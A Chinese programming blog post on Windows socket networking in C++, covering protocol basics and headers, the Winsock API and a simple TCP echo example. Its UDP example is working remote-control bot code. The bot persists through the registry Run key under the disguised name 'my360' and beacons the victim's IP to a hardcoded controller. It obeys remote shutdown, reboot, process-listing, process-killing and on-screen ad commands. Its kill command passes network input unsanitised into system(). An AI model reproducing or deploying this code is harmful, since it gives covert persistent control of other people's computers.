Joeyos's Blog Software Engineer

C++网络通信实现

2016-04-09
Quan Zhang

TCP/IP协议

OSI参考模型:应用层-表示层-会话层-传输层-网络层-数据链路层-物理层。

TCP/IP参考模型:传输控制协议/网际协议是互联网上最流行的协议,采用4层的层级结构,每一层都呼叫它的下一层所提供的网络来完成自己的需求。即应用层-传输层-互联网络层-网络接口层。

数据包格式

IP数据包

IP数据包是在IP协议间发送的,主要在以太网与网际协议模块之间传输,提供无连接数据包传输。不保证数据包的发送,但最大限度的发送数据。结构如下:

typedef struct HeadIP{
	unsigned char headerlen:4;//首部长度,4位
	unsigned char version:4;//版本,4位
	unsigned char servertype;//服务类型,8位
	unsigned short totallen;//长度,16位
	unsigned short id;
	//与idoff构成标识符,共占16为,前3位是标识,后13位是片偏移
	unsigned short idoff;
	unsigned char ttl;//生存时间,8位
	unsigned char proto;//协议,占8位
	unsigned short checksum;//检验首部和,16位
	unsigned int sourceIP;//源IP地址,32位
	unsigned int destIP;//目的IP地址,32位
}HeadIP;

TCP数据包

面向连接,全双工,可靠的传输。

typedef struct HeadTCP{
	WORD SourcePort;//16位源端口号
	WORD DePort;//16位目的端口
	DWORD SequenceNo;//32位序号
	DWORD ConfirmNo;//32位确认序号
	BYTE HeadLen;//与Flag为一个组成部分,首部长度,4位,保留6位,6位标识,共16位
	BYTE Flag;
	WORD WndSize;//16位窗口大小
	WORD CheckSum;//16位校验和
	WORD UrgPtr;//16位紧急指针
}HeadTCP;

三次握手连接

第一次握手:建立连接时,客户端发送syn包(syn=j)到服务器,并进入SYN_SENT状态,等待服务器确认;SYN:同步序列编号(Synchronize Sequence Numbers)。

第二次握手:服务器收到syn包,必须确认客户的SYN(ack=j+1),同时自己也发送一个SYN包(syn=k),即SYN+ACK包,此时服务器进入SYN_RECV状态;

第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(ack=k+1),此包发送完毕,客户端和服务器进入ESTABLISHED(TCP连接成功)状态,完成三次握手。

完成三次握手,客户端与服务器开始传送数据。

四次握手关闭

TCP关闭连接的步骤如下:

第一步,当主机A的应用程序通知TCP数据已经发送完毕时,TCP向主机B发送一个带有FIN附加标记的报文段(FIN表示英文finish)。

第二步,主机B收到这个FIN报文段之后,并不立即用FIN报文段回复主机A,而是先向主机A发送一个确认序号ACK,同时通知自己相应的应用程序:对方要求关闭连接(先发送ACK的目的是为了防止在这段时间内,对方重传FIN报文段)。

第三步,主机B的应用程序告诉TCP:我要彻底的关闭连接,TCP向主机A送一个FIN报文段。

第四步,主机A收到这个FIN报文段后,向主机B发送一个ACK表示连接彻底释放。

UDP数据包

UDP数据包是无连接的,一次服务,不提供差错恢复,不提供数据重传。

typedef struct HeadUDP{
	WORD SourcePort;//16位端口号
	WORD DePort;//16位目的端口
	WORD Len;//16位UDP长度
	WORD ChkSum;//16位UDP校验和
}HeadUDP;

ICMP数据包

ICMP协议被称为网际控制报文协议,是IP协议的附属协议,可以将某设备的故障信息发送到其他设备。

typedef struct HeadCMP{
	BYTE Type;//8为类型
	BYTE Code;//8位代码
	WORD ChkSum;//16位校验和
}HeadICMP;

套接字

所谓套接字,实际上是一个指向传输提供者的句柄。

Winsock套接字可以使应用程序适用于不同的网络名和网络地址。

#include"winsock2.h"//引用头文件
#pragma comment(lib,"ws2_32.lib")//链接库文件

初始化套接字:

WSADATA wsd;//定义WSADATA对象
WSAStratup(MAKEWORD(2,2),&wsd);//初始化套接字

常用的套接字函数

  1. WSAStartup函数:初始化ws2_32.dll动态链接库

    int WSAStartup(WORD wVersionRequested,LPWSADATA IpWSAData);

  2. socket函数:创建套接字

    SOCKET socket(int af,int type,int protocol);

  3. bind函数:将套接字绑定到指定的端口和地址

    int bind(SOCKET s,const struct sockaddr FAR* name,int namelen);

  4. listen函数:将套接字设定为监听模式 int listen(SOCKET s,int backlog);

  5. accept函数:接收连接请求

    SOCKET accept(SOCKET s,struct sockaddr FAR* addr,int FAR* addrlen);

  6. closesocket函数:关闭套接字

    int closesocket(SOCKET s);

  7. connect函数:发送连接请求

    int connect(SOCKET s,const struct sockaddr FAR* name,int namelen);

  8. htons 函数:将16位无符号短整型数据转换为网络排列方式

    u_short htons(u_short hostshort);

  9. htonl函数:将无符号长整型转换为网络排列方式

    u_long htonl(u_long hostlong);

  10. inet_addr函数:将字符串表示的地址转换为32位的无符号长整型数据

    unsigned long inet_addr(const char FAR* cp);

  11. recv函数:接收数据

    int recv(SOCKET s,char FAR* buf,int len,int flags);

  12. send函数:发送数据

    int send(SOCKET s,const char FAR* buf,int len,int flags);

  13. select函数:检查套接字是否处于可读、可写或错误状态

    int select(int nfds,fd_set FAR* readfds,fd_set FAR* writefds,fd_set FAR* exceptfds,const struct timeval FAR* timeout);

  14. WSACleanup函数:释放ws2_32.dll动态链接库分配的资源

    int WSACleanup(void);

  15. WSAAsyncSelect函数:将网络中的某事件关联到窗口的某个消息中

    int WSAAsyncSelect(SOCKET s,HWND hWnd,unsigned int wMsg,long iEvent);

  16. ioctlsocket函数:设置套接字的I/O模式

    int ioctlsocket(SOCKET s,long cmd,u_long FAR* argp);

套接字阻塞模式

依据套接字函数执行方式的不同,可以将套接字分为两类:阻塞和非阻塞。

阻塞:函数调用玩会一直等待,直到I/O操作完成。故一个线程中同时只能进行一项I/O操作。

非阻塞:函数调用会立即返回。

默认情况下,套接字为阻塞套接字。为了将套接字设置为非阻塞,需要使用ioctlsocket函数。

unsigned long nCmd;
SOCKET clientSock = socket(AF_INET,SOCK_STREAM,0);//创建套接字
int nState=ioctlsocket(clientSock,FIONBIO,&nCmd);//设置非阻塞模式
if(nState != 0)
{
	TRACE("设置套接字非阻塞模式失败!");
}

连接过程

面向连接流

服务端:

|- WSAStartup函数初始化
|- 创建Socket
|- 用bind指定对象
|- listen设置监听
|- accept接收请求
|- send发送会话
|- closesocket关闭socket

客户端:

|- WSAStartup函数初始化
|- 创建Socket
|- connect请求连接
|- send发送会话
|- closesocket关闭socket

面向无连接流

服务端:

|- WSAStartup函数初始化
|- 创建Socket
|- 调用recvfrom和sendto进行通信
|- 调用closesocket关闭Socket

客户端:

|- WSAStartup函数初始化
|- 创建Socket
|- 调用recvfrom和sendto进行通信
|- 调用closesocket关闭socket

基于UDP协议的网络通信

UDP链接是面向无连接的,一次服务,不提供差错恢复,不提供数据重传。

SOCK_DGRAM协议族,UDP协议。

服务端实现

服务端启动后会给指定IP地址的客户端发送服务端的IP地址,以便客户端启动后自动连接到服务端。

#include<stdio.h>
// 获取进程列表
#include<windows.h>//windows底层函数
#include<Tlhelp32.h>
// 网络库(Linux头文件不同)
#include<winsock.h>
#pragma comment(lib,"ws2_32.lib")
// 取消窗口显示
//#pragma comment(linker,"/subsystem:windows /entry:mainCRTStartup")

// 全局变量
int sock;
bool going=true;

// 分身活动区域
unsigned long WINAPI function(void* lp)
{
	// 发送肉鸡IP地址
	char hostname[255]="";
	// 获取系统主机名
	gethostname(hostname,sizeof(hostname));
	printf("系统主机名:%s\n",hostname);
	// 在数据链路层,主机名与IP地址对应
	hostent *host=gethostbyname(hostname);
	char* ip=inet_ntoa(*(struct in_addr *)*host->h_addr_list);
	//printf("%s\n",ip);
	// 强制转换网络地址为255.255.255.255类型

	// 定义控制方IP地址
	sockaddr_in ctladdr;
	ctladdr.sin_family=AF_INET;
	ctladdr.sin_port=htons(7676);
	ctladdr.sin_addr.S_un.S_addr=inet_addr("169.254.180.48");
	while(going)
	{
		sendto(sock,ip,strlen(ip),0,(sockaddr*)&ctladdr,sizeof(ctladdr));
		Sleep(5000);
		// 5秒
	}
	return 0;
}

int main(void)
{
	// 防止双开 互斥量
	HANDLE hmutex=CreateMutex(0,true,"LF");
	// (默认值,是否上锁,标识)
	if(hmutex!=NULL)// 不为空则创建成功
	{
		if(GetLastError()==ERROR_ALREADY_EXISTS)
		{
			printf("已经打开了\n");
			return 0;
		}
	}

	// 开机自启
	//HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
	//HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
	HKEY key;// HKEY代表打开的注册表首地址
	long reg=RegOpenKeyEx(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_WRITE,&key);
	if(reg==ERROR_SUCCESS)// 打开成功返回为0
	{
		// 获取路径
		printf("注册表写入成功!\n");
		char path[255]="";
		GetModuleFileName(0,path,254);

		// 增加此运行程序的路径(key,"name",写入0,写入类型)
		// 用RegSetValueEx写在Run目录下
		RegSetValue(key,"my360",REG_SZ,path,strlen(path));
		// 关闭程序
		RegCloseKey(key);
		// Release版本才可以开机自启
	}
	// 1.网络是否存在,初始化网络 调用系统函数
	WSADATA wsaData;
	WSAStartup(0x202,&wsaData);
	// 网络库版本号,最新版本,获取初始化信息

	// 2.购买手机(获取套接字)
	//int sock=socket(AF_INET,SOCK_DGRAM,0);
	// SOCK_DGRAM协议族,UDP协议,默认为0
	// SOCK_STREAM, TCP/IP协议
	sock=socket(AF_INET,SOCK_DGRAM,0);

	// 3.绑定端口号(类似绑定手机卡)
	sockaddr_in addr;// 此电脑的信息(ip,端口号,协议族)
	addr.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
	//inet_addr("192.168.75.1");
	addr.sin_port = htons(7979);// 绑定的端口号
	addr.sin_family=AF_INET;
	bind(sock,(sockaddr*)&addr,sizeof(addr));
	// 4.收到指令,并处理
	char buf[1024]="";// 接收数据1#1等
	char cmd[4]="";// 截取字符串

	// 定义控制方IP地址
	sockaddr_in ctladdr;
	int ilen = sizeof(ctladdr);
	// 创建分身
	CreateThread(0,0,function,0,0,0);

	while(1) //recv(套接字,存储数据区,存储数据长度,默认为0)
	{
		// 收信息recv/recvfrom
		// recvfrom不仅可以收到信息,还可以知道发送端的IP及端口号
		//int num=recv(sock,buf,sizeof(buf),0);
		int num=recvfrom(sock,buf,sizeof(buf),0,(sockaddr*)&ctladdr,&ilen);
		printf("收到控制端消息:%s %d\n",inet_ntoa(ctladdr.sin_addr),ctladdr.sin_port);
		// 截取前三个字符到cmd中
		strncpy(cmd,buf,3);
		buf[num]='\0';
		//printf("%s\n",buf);
		// 指令的识别,处理
		if(strcmp(cmd,"1#1")==0)
		{
			system("shutdown -s -t 1000");// 关机
		}
		else if(strcmp(cmd,"1#2")==0)
		{
			system("shutdown -r -t 1000");// 重启
		}
		else if(strcmp(cmd,"2#1")==0)// 获取进程列表
		{
			// 动态获取进程列表(二维数组)
			// 1.打开获取表格
			HANDLE handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
			// 2.遍历表格 Process32First(表格);
			PROCESSENTRY32 processMsg;// 结构体(程序名,ID,内存)
			Process32First(handle,&processMsg);
			do
			{
				//printf("%s\n",processMsg.szExeFile);
				sendto(sock,processMsg.szExeFile,strlen(processMsg.szExeFile),0,(sockaddr*)&ctladdr,sizeof(ctladdr));
			}while(Process32Next(handle,&processMsg));//指为空时返回0
		}
		else if(strcmp(cmd,"2#2")==0)//2#2#结束的进程名
		{
			//shell命令
			if(strtok(buf,"#")!=NULL && strtok(NULL,"#")!=NULL)
			{
				char *process=strtok(NULL,"#");
				char opr[100]="";
				// 字符串的拼接
				sprintf(opr,"taskkill /F /IM %s*",process);// 关闭某进程
				system(opr);
				//printf("%s\n",opr);
				//system("taskkill /F /IM FeiQ*");
			}
		}
		else if(strcmp(cmd,"4#1")==0)//弹出提示框(0,"内容","标题",提示框样式)
		{
			// 截取字符串
			// 4#1#内容#标题
			if(strtok(buf,"#")!=NULL && strtok(NULL,"#")!=NULL)//将字符进行截取(原字符,“截取目标字符”)
			{
				char *content=strtok(NULL,"#");
				char *title=strtok(NULL,"#");
				MessageBox(0,content,title,MB_ICONINFORMATION|MB_OK|MB_SYSTEMMODAL);
			}
		}
		else if(strcmp(cmd,"6#1")==0)
		{
			going=false;
		}
		else if(strcmp(cmd,"7#1")==0)// 显示广告
		{
			// 截取字符串
			// 7#1#内容
			if(strtok(buf,"#")!=NULL && strtok(NULL,"#")!=NULL)//将字符进行截取(原字符,“截取目标字符”)
			{
				char *content=strtok(NULL,"#");

				// 1.获取设备上下文接口:打印机,投影仪,屏幕
				HDC hdc=GetDC(0);// NULL默认输出主屏幕

				// 字体背景透明
				SetBkMode(hdc,TRANSPARENT);
				// 颜色
				SetTextColor(hdc,RGB(255,0,0));// 红绿蓝
				// 大小,改变字体,创建字体
				HFONT font=CreateFont(100,50,0,0,
					FW_BOLD,0,0,0,ANSI_CHARSET,OUT_DEFAULT_PRECIS,
					CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH|FF_SWISS,"宋体");
				// 替换字体
				SelectObject(hdc,font);

				// 2.绘画字体
				TextOut(hdc,100,100,content,strlen(content));
				// 3.释放上下文
				ReleaseDC(0,hdc);
			}
		}
	}
	// 5.释放网络
	closesocket(sock);
	// 6.清空初始化
	WSACleanup();
	return 0;
}

客户端实现

只要服务端运行,就会给指定的客户端发送服务端IP地址,当客户端收到服务端IP地址后,会自动连接到服务端,并可对服务端进行关机、重启、获取服务端进程列表、结束进程,以及发送远程字幕和弹窗操作。

#include<stdio.h>
#include<winsock.h>
#pragma comment(lib,"ws2_32.lib")

int num=0;
char ipBuf[1024]="";

// 为线程指定活动区域
unsigned long WINAPI threadfun(void *sock)
{
	char buf[1024]="";
	while(1)
	{
		//Sleep(5000);
		//无数据则一直等待,中途中断则返回0
		num=recv(*(int*)sock,buf,1023,0);
		buf[num]='\0';
		printf("收到服务器消息:%s\n",buf);
		strcpy(ipBuf,buf);
		/*
		ip地址转存给主函数,
		直接用buf行不通,
		可能一直被读写占用
		*/
		if(num<=0)
			break;//接收完成
	}
	return 0;
}

void menu(int sock,sockaddr_in eaddr)
{
	printf("-------------控制系统----------------------\n");
	printf("-------------1.关机------------------------\n");
	printf("-------------2.重启------------------------\n");
	printf("-------------3.进程列表--------------------\n");
	printf("-------------4.结束进程--------------------\n");
	printf("-------------5.远程字幕--------------------\n");
	printf("-------------6.发送弹窗--------------------\n");
	printf("请选择:\n");

	int opt=0;
	scanf("%d",&opt);
	if(opt==1)//关机
	{
		sendto(sock,"1#1",3,0,(sockaddr*)&eaddr,sizeof(eaddr));
	}
	else if(opt==2)//重启
	{
		sendto(sock,"1#2",3,0,(sockaddr*)&eaddr,sizeof(eaddr));
	}
	else if(opt==3)//进程列表
	{
		sendto(sock,"2#1",3,0,(sockaddr*)&eaddr,sizeof(eaddr));
	}
	else if(opt==4)//结束进程
	{
		char process[100]="";
		printf("请输入需要结束的进程名:\n");
		scanf("%s",process);
		//拼接
		char cmd[1000]="";
		sprintf(cmd,"2#2#%s*",process);
		sendto(sock,cmd,strlen(cmd),0,(sockaddr*)&eaddr,sizeof(eaddr));
	}
	else if(opt==5)//投放字幕
	{
		char content[100]="";
		printf("请输入广告内容:");
		scanf("%s",content);
		//格式化字符串
		char cmd[1000]="";
		sprintf(cmd,"7#1#%s",content);
		sendto(sock,cmd,strlen(cmd),0,(sockaddr*)&eaddr,sizeof(eaddr));
	}
	else if(opt==6)//弹窗
	{
		char content1[100]="";
		printf("请输入弹窗内容:");
		scanf("%s",content1);
		char content2[100]="";
		printf("请输入标题:");
		scanf("%s",content2);
		//格式化字符串
		char cmd[1000]="";
		sprintf(cmd,"4#1#%s#%s",content1,content2);
		sendto(sock,cmd,strlen(cmd),0,(sockaddr*)&eaddr,sizeof(eaddr));
		printf("%d,%d\n",sock,sizeof(eaddr));
	}
}


int main(void)
{
	// 1.初始化网络,网络是否存在
	WSADATA wsaData;
	WSAStartup(0x202,&wsaData);

	// 2.购买手机,获取套接字
	int sock=socket(AF_INET,SOCK_DGRAM,0);//AF_INET为英特网
	// 3.绑定手机卡(默认:若绑定,网卡会默认绑定(IP,随机端口号))
	// 不绑定,让系统默认绑定
	// 手动绑定IP地址,端口号
	sockaddr_in myaddr;
	myaddr.sin_family=AF_INET;
	myaddr.sin_addr.S_un.S_addr=htonl(INADDR_ANY);
	myaddr.sin_port=htons(7676);
	bind(sock,(sockaddr*)&myaddr,sizeof(myaddr));//绑定手机

	// 4.发送指令
	char buf[100]="";
	sockaddr_in eaddr;
	eaddr.sin_port=htons(7979);
	eaddr.sin_family=AF_INET;
	//eaddr.sin_addr.S_un.S_addr=inet_addr("10.10.205.162");

	// 创建一个线程接收(0,0,线程活动区域,传递值,0,0)
	HANDLE hThread;
	hThread = CreateThread(0,0,threadfun,&sock,0,0);

	if(hThread==NULL)
	{
		printf("接收线程未运行!\n");
	}
	else
	{
		//Sleep(5000);
		printf("接收线程正在运行!\n");
		while(strlen(ipBuf)==0)
		{
			printf("正在尝试与服务器建立连接...\n");
			Sleep(5000);
		}
		printf("已连接到服务器地址:%s\n",ipBuf);
		eaddr.sin_addr.S_un.S_addr=inet_addr(ipBuf);
		//停止获取IP
		sendto(sock,"6#1",3,0,(sockaddr*)&eaddr,sizeof(eaddr));
		while(1)
		{
			menu(sock,eaddr);//菜单
		}
	}
	// 5.释放网络
	closesocket(sock);
	// 6.清除
	WSACleanup();
	return 0;
}

基于TCP/IP协议的网络通信

TCP/IP协议是面向连接的,安全的。

服务端实现

接收客户端A,则给客户端发送字符B,接收C,则发送字符D。

#include<iostream.h>
#include<stdlib.h>
#include"winsock2.h"//引用头文件
#pragma comment(lib,"ws2_32.lib")//引用库文件
//线程实现函数

DWORD WINAPI threadpro(LPVOID pParam)
{
	SOCKET hsock=(SOCKET)pParam;
	char buffer[1024];
	char sendBuffer[1024];
	if(hsock != INVALID_SOCKET)
		cout<<"Start Receive!"<<endl;
	while(1)
	{
		//循环接收发送的内容
		int num = recv(hsock,buffer,1024,0);//阻塞函数,等待接收内容
		if(num>=0)
			cout<<"Receive form clinet!"<<buffer<<endl;
		if(!strcmp(buffer,"A"))
		{
			memset(sendBuffer,0,1024);
			strcpy(sendBuffer,"B");
			int ires = send(hsock,sendBuffer,sizeof(sendBuffer),0);//回送消息
			cout<<"Send to Client: "<<sendBuffer<<endl;
		}
		else if(!strcmp(buffer,"C"))
		{
			memset(sendBuffer,0,1024);
			strcpy(sendBuffer,"D");
			int ires=send(hsock,sendBuffer,sizeof(sendBuffer),0);//回送消息
			cout<<"Send to client: "<<sendBuffer<<endl;
		}
		else if(!strcmp(buffer,"exit"))
		{
			cout<<"Client Close"<<endl;
			cout<<"Server Process Close"<<endl;
			return 0;
		}
		else
		{
			memset(sendBuffer,0,1024);
			strcpy(sendBuffer,"ERR");
			int ires=send(hsock,sendBuffer,sizeof(sendBuffer),0);
			cout<<"Send to client"<<sendBuffer<<endl;
		}

	}
	return 0;
}
//主函数
void main()
{
	WSADATA wsd;//定义WSADATA对象
	WSAStartup(MAKEWORD(2,2),&wsd);
	SOCKET m_SockServer;
	sockaddr_in serveraddr;
	sockaddr_in serveraddrfrom;
	SOCKET m_Server[20];

	serveraddr.sin_family = AF_INET;//设置服务器地址
	serveraddr.sin_port=htons(4600);//设置端口号
	serveraddr.sin_addr.S_un.S_addr=inet_addr("169.254.180.48");
	m_SockServer=socket(AF_INET,SOCK_STREAM,0);
	int i=bind(m_SockServer,(sockaddr*)&serveraddr,sizeof(serveraddr));
	cout<<"bind:"<<i<<endl;

	int iMaxConnect=20;//最大连接数
	int iConnect=0;
	int iLisRet;
	char buf[]="This is Server\0";//向客户端发送的内容
	char WarnBuf[]="It is over Max connect\0";
	int len=sizeof(sockaddr);
	while(1)
	{
		iLisRet=listen(m_SockServer,0);//进行监听
		m_Server[iConnect]=accept(m_SockServer,(sockaddr*)&serveraddrfrom,&len);
		//同意连接
		if(m_Server[iConnect]!=INVALID_SOCKET)
		{
			int ires=send(m_Server[iConnect],buf,sizeof(buf),0);//发送字符过去
			cout<<"发送消息:"<<buf<<endl;
			cout<<"accept: "<<ires<<endl;//显示已经建立连接次数
			iConnect++;
			if(iConnect>iMaxConnect)
			{
				int ires=send(m_Server[iConnect],WarnBuf,sizeof(WarnBuf),0);

			}
			else
			{
				HANDLE m_Handel;//线程句柄
				DWORD nThreadId=0;//线程ID
				m_Handel=(HANDLE)::CreateThread(NULL,0,threadpro,(LPVOID)m_Server[--iConnect],0,&nThreadId);
				//启动线程
				cout<<"启动线程!"<<endl;
			}
		}
	}
	WSACleanup();
}

客户端实现

给服务端发送A,则会接受到字符B,发送C,则收到D。

#include<iostream.h>
#include<stdlib.h>
#include<stdio.h>
#include"winsock2.h"
#include<time.h>
#pragma comment(lib,"ws2_32.lib")

void main()
{
	WSADATA wsd;//定义WSADATA对象
	WSAStartup(MAKEWORD(2,2),&wsd);
	SOCKET m_SockClient;
	sockaddr_in clientaddr;

	clientaddr.sin_family=AF_INET;//设置服务器地址
	clientaddr.sin_port=htons(4600);//设置服务器端口号
	clientaddr.sin_addr.S_un.S_addr=inet_addr("169.254.180.48");
	m_SockClient=socket(AF_INET,SOCK_STREAM,0);
	int i=connect(m_SockClient,(sockaddr*)&clientaddr,sizeof(clientaddr));//连接超时
	cout<<"connect:"<<i<<endl;

	char buffer[1024];
	char inBuf[1024];
	int num;
	num=recv(m_SockClient,buffer,1024,0);//阻塞
	if(num>0)
	{
		cout<<"Receive from server:"<<buffer<<endl;//欢迎信息
		while(1)
		{
			num=0;
			cout<<"请输入要发送的消息:"<<endl;
			cin>>inBuf;
			if(!strcmp(inBuf,"exit"))
			{
				send(m_SockClient,inBuf,sizeof(inBuf),0);//发送退出指令
				return;
			}
			send(m_SockClient,inBuf,sizeof(inBuf),0);
			num=recv(m_SockClient,buffer,1024,0);//接收客户端发送过来的数据
			if(num>=0)
				cout<<"接收消息:"<<buffer<<endl;
		}
	}
}

Comments

Content